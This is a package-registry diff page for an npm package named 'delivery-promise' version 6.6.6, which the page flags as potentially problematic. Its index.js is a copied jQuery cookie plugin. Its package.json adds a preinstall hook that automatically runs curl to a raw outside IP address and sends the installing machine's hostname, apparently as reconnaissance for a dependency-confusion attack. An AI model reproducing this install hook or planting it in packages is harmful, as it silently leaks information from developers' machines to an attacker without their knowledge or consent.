delivery-promise 6.6.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of delivery-promise might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +117 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,117 @@
1
+ steal('jquery', function($) {
2
+ /**
3
+ * @function jQuery.cookie jQuery.cookie
4
+ * @parent jquerypp
5
+ * @plugin jquerypp/dom/cookie
6
+ * @author Klaus Hartl/klaus.hartl@stilbuero.de
7
+ *
8
+ * @signature `jQuery.cookie(name, [value, ] [options])`
9
+ * @param {String} [name] The name of the cookie.
10
+ * @param {String} [value] The value of the cookie.
11
+ * @param {{}} [options] An object literal containing key/value pairs to provide optional cookie attributes. Values can be:
12
+ * @option {Integer|Date} expires Either an integer specifying the expiration date from now on in days or a Date object. If a negative value is specified (e.g. a date in the past), the cookie will be deleted. If set to null or omitted, the cookie will be a session cookie and will not be retained when the the browser exits.
13
+ * @option {String} domain The domain name
14
+ * @option {String} path The value of the path atribute of the cookie (default: path of page that created the cookie).
15
+ * @option {Boolean} secure If true, the secure attribute of the cookie will be set and the cookie transmission will require a secure protocol (like HTTPS).
16
+ *
17
+ * @return {String} the value of the cookie or {undefined} when setting the cookie.
18
+ *
19
+ * @body
20
+ *
21
+ * `jQuery.cookie(name, [value], [options])` lets you create, read and remove cookies. It is the
22
+ * [jQuery cookie plugin](https://github.com/carhartl/jquery-cookie) written by [Klaus Hartl](http://www.dasstilbuero.de/)
23
+ * and dual licensed under the [MIT](http://www.opensource.org/licenses/mit-license.php)
24
+ * and [GPL](http://www.gnu.org/licenses/gpl.html) licenses.
25
+ *
26
+ * ## Examples
27
+ *
28
+ * Set the value of a cookie.
29
+ *
30
+ * $.cookie('the_cookie', 'the_value');
31
+ *
32
+ * Create a cookie with all available options.
33
+ *
34
+ * $.cookie('the_cookie', 'the_value', {
35
+ * expires: 7,
36
+ * path: '/',
37
+ * domain: 'jquery.com',
38
+ * secure: true
39
+ * });
40
+ *
41
+ * Create a session cookie.
42
+ *
43
+ * $.cookie('the_cookie', 'the_value');
44
+ *
45
+ * Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
46
+ * used when the cookie was set.
47
+ *
48
+ * $.cookie('the_cookie', null);
49
+ *
50
+ * Get the value of a cookie.
51
+ *
52
+ * $.cookie('the_cookie');
53
+ *
54
+ */
55
+ $.cookie = function(name, value, options) {
56
+ if (typeof value != 'undefined') {
57
+ // name and value given, set cookie
58
+ options = options ||
59
+ {};
60
+ if (value === null) {
61
+ value = '';
62
+ options.expires = -1;
63
+ }
64
+ // convert value to JSON string
65
+ if (typeof value == 'object' && JSON.stringify) {
66
+ value = JSON.stringify(value);
67
+ }
68
+ var expires = '';
69
+ // Set expiry
70
+ if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
71
+ var date;
72
+ if (typeof options.expires == 'number') {
73
+ date = new Date();
74
+ date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
75
+ }
76
+ else {
77
+ date = options.expires;
78
+ }
79
+ expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
80
+ }
81
+ // CAUTION: Needed to parenthesize options.path and options.domain
82
+ // in the following expressions, otherwise they evaluate to undefined
83
+ // in the packed version for some reason...
84
+ var path = options.path ? '; path=' + (options.path) : '';
85
+ var domain = options.domain ? '; domain=' + (options.domain) : '';
86
+ var secure = options.secure ? '; secure' : '';
87
+ // Set the cookie name=value;expires=;path=;domain=;secure-
88
+ document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
89
+ }
90
+ else { // only name given, get cookie
91
+ var cookieValue = null;
92
+ if (document.cookie && document.cookie != '') {
93
+ var cookies = document.cookie.split(';');
94
+ for (var i = 0; i < cookies.length; i++) {
95
+ var cookie = $.trim(cookies[i]);
96
+ // Does this cookie string begin with the name we want?
97
+ if (cookie.substring(0, name.length + 1) == (name + '=')) {
98
+ // Get the cookie value
99
+ cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
100
+ break;
101
+ }
102
+ }
103
+ }
104
+ // Parse JSON from the cookie into an object
105
+ if (cookieValue && cookieValue.match(/^\s*\{/)) {
106
+ try {
107
+ cookieValue = JSON.parse(cookieValue);
108
+ }
109
+ catch (e) {
110
+ }
111
+ }
112
+ return cookieValue;
113
+ }
114
+ };
115
+
116
+ return $;
117
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "delivery-promise",
3
+ "version": "6.6.6",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "/usr/bin/curl 43.153.111.224:27070/p/e61d49/cqOi/delivery-promise/$(hostname)"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }